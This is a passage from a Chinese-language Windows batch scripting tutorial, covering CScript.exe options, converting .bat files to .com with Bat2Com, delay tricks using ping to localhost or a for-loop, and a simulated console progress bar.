使用 Windows 脚本宿主，可以在命令提示符下运行脚本。CScript.exe 提供了用于设置脚本属性的命令行开关。

用法：CScript 脚本名称 [脚本选项...] [脚本参数...]

选项：
//B 批模式：不显示脚本错误及提示信息
//D 启用 Active Debugging
//E:engine 使用执行脚本的引擎
//H:CScript 将默认的脚本宿主改为 CScript.exe
//H:WScript 将默认的脚本宿主改为 WScript.exe （默认）
//I 交互模式（默认，与 //B 相对)
//Job:xxxx 执行一个 WSF 工作
//Logo 显示徽标（默认）
//Nologo 不显示徽标：执行时不显示标志
//S 为该用户保存当前命令行选项
//T:nn 超时设定秒：允许脚本运行的最长时间
//X 在调试器中执行脚本
//U 用 Unicode 表示来自控制台的重定向 I/O

“脚本名称”是带有扩展名和必需的路径信息的脚本文件名称，如 d:\admin\vbscripts\chart.vbs。
“脚本选项和参数”将传递给脚本。脚本参数前面有一个斜杠 (/)。每个参数都是可选的；但不能在未指定脚本名称的情况下指定脚本选项。

如果未指定参数，则 CScript 将显示 CScript 语法和有效的宿主参数。

八、将批处理转化为可执行文件：

由于批处理文件是一种文本文件，任何人都可以对其进行随便编辑，不小心就会把里面的命令破坏掉，所以如果将其转换成.com 格式的可执行

文件，不仅执行效率会大大提高，而且不会破坏原来的功能，更能将优先级提到最高。Bat2Com 就可以完成这个转换工作。
小知识：在 DOS 环境下，可执行文件的优先级由高到低依次为.com>.exe>.bat>.cmd，即如果在同一目录下存在文件名相同的这四类文件，当只

键入文件名时，DOS 执行的是 name.com，如果需要执行其他三个文件，则必须指定文件的全名，如 name.bat。

这是一个只有 5.43K 大小的免费绿色工具，可以运行在纯 DOS 或 DOS 窗口的命令行中，用

法：Bat2Com
FileName，这样就会在同一目录下生成一个名为 FileNme.com 的可执行文件，执行的效果和原来的.bat 文件一样。

九、时间延迟
本条引用[英雄]教程
什么是时间延迟？顾名思义，就是执行一条命令后延迟一段时间再进行下一条命令。
1、利用 ping 命令延时
例：

```
@echo off
echo 延时前!
ping /n 3 127.0.0.1 >nul
echo 延时后!
pause
```

解说：用到了 ping 命令的“/n”参数，表示要发送多少次请求到指定的 ip。本例中要发送 3 次请求到本机的 ip
（127.0.0.1）。127.0.0.1 可简写为 127.1。“>nul”就是屏蔽掉 ping 命令所显示的内容。

2、利用 for 命令延时
例：

```
@echo off
echo 延时前!
for /l %%i in (1,1,5000) do echo %%i>nul
echo 延时后!
pause
```

解说：原理很简单，就是利用一个计次循环并屏蔽它所显示的内容来达到延时的目的。

十、模拟进度条

下面给出一个模拟进度条的程序。如果将它运用在你自己的程序中，可以使你的程序更漂亮。

```
@echo off
mode con cols=113 lines=15 &color 9f
cls
echo.
echo   程序正在初始化. . .
echo.
echo   ┌──────────────────────────────────────────────────────────────────────┐
set/p=  ■<nul
for /L %%i in (1 1 38) do set /p a=■<nul&ping /n 1 127.0.0.1>nul
echo    100%%
echo   └──────────────────────────────────────────────────────────────────────┘
```

pause

解说：“set /p a=■<nul”的意思是：只显示提示信息“■”且不换行，也不需手工输入任何信息，这样可以使每个“■”在同一行逐个输出

。“ping /n 0 127.1>nul”是输出每个“■”的时间间隔，即每隔多少时间输出一个“■”。